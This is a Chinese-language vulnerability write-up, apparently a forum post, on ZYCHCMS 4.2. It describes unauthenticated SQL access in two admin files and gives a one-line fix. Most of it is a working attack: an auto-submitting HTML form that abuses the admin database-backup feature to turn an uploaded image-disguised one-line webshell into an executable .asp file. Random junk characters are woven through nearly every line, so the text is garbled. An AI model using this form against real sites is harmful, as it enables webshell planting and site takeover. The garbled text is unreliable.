/ Y. ^- ^" @0 D S2 L/ G
3 X9 i! C5 o4 g6 @: [ a M2 r- R1 ]
' ` ]3 t8 d7 _9 ?
+ ?5 o' w% K! ]# v1 h0 e
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)+ I/ Y- h; Y. k
①SQL注射漏洞
' z6 D/ y X9 X1 N6 y+ I: E 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
& r( c( U; Q3 r* Q5 I# ` 漏洞原因:未过滤
( w& {9 m2 s& R1 Z 漏洞代码:: t0 L9 X' k1 g/ t, D. w A K
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
) s' G* \9 {& ^ 修复方法:在文件开头加入代码; Y/ ~: ^2 u8 [
% x9 k! D7 ~/ y. G/ `" N) ?$ [9 V8 l3 t0 T
②后台拿WBSHELL
6 d( ^3 B0 }! l% G4 a% Y 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。- c2 I' |* [! D; G- v. i3 [0 ^
这里在网上找了一个,改了下,将就着用。/ G) }. P: }7 j9 D8 p6 t; c
以下是代码本地提交代码, g5 N5 U$ ], x4 U
3 j$ J6 [7 }# U9 W' n" M3 e
6 i3 b; {9 n) P& i8 s3 N7 l0 |4 _8 y<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>' A9 s1 a" i( {+ v( v2 R0 d
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>1 ^! j" ~( U+ R
<tr>
. N& f) t7 u( I8 i <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
g; H7 n' F0 z7 } </tr>! U; ~' g/ ~7 Z- a0 I8 g6 A: u
<tr>
}1 Q* a% m8 n0 N* V4 j <td bgcolor=”#FFFFFF”><span class=”back_southidc”>+ W8 e' ?4 ? E+ ^; L% V
</span>
3 e2 ^& B( t0 W$ Q6 U <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >( ^9 a2 `6 N7 f- c# @& R
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
' a" l4 f& S1 o <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>" S9 \ Q9 _+ V
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
/ P. g" N6 H1 x <div align=”left”>
: e$ A' o: p, w8 e( V, o0 I <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” /> k, [: V' L( [, P5 m
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>7 q" ]( G& U, Z! Q0 l
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />) Q3 K, |& L$ ]8 R
</div></td>& g4 p) Q$ G+ \) k( U& u7 u
</tr># a9 ^ z7 U* u% g8 R, P( @. o( t
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>( h9 ~& N2 v3 z2 |
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
; m' D7 d" v$ G+ B <td class=”td”><div align=”left”>* E+ ]* q: C% G$ L0 K1 j+ T. D& B
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />( J2 _ p" I0 K; Y
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
; t# J# x3 E/ j) q- i </tr>+ ]) z1 E- {; S: b2 B2 b8 h
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>2 b z# ~2 c8 ]! F5 x
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>4 t' c6 \4 k* u5 s
<td class=”td”><div align=”left”>
7 Y7 N1 Q7 ?6 e4 \$ j8 j" V% o' y3 g <input type=”submit” value=”确定备份” class=”btn”
! m2 }: d* w) r. m </div></td>
. b \% `, b H; @5 _( T </tr>
, s- u' L/ n- E& k4 `1 c </table></td></tr></form>
4 `. M1 i- A5 p- e' F3 N </table>
0 |6 T2 O( |8 V0 `$ W: a </td>5 V& e" y6 g( T1 ?" e+ c
</tr>, g* P% i. k& c4 }. n4 s7 @
</table>: m; e8 D x1 C9 D- Q. A* x: c
<script>
0 ]# B& a+ L, n/ D3 D document.all.add.submit();! _ {" t$ K3 E+ T1 ~1 z
</script>
' \1 n# d N" {
1 w/ Y) G9 `9 f, `4 v
! b5 ]# S' P8 ~+ f: O8 Y- q4 j' C
: E8 K; D& ^( L" M$ c" z0 Y5 [% `5 s
/ E' D& `* K5 p/ C( g+ L
, ~. D" k" c$ i, G& D8 }# C0 W0 f0 D
1 C5 j5 R* O @& `$ u* s# S" t y0 ]
8 G5 S8 A3 p$ ^4 q/ `- j, |0 A" C* W& H4 }+ k
- o6 _' H/ P$ o( v U |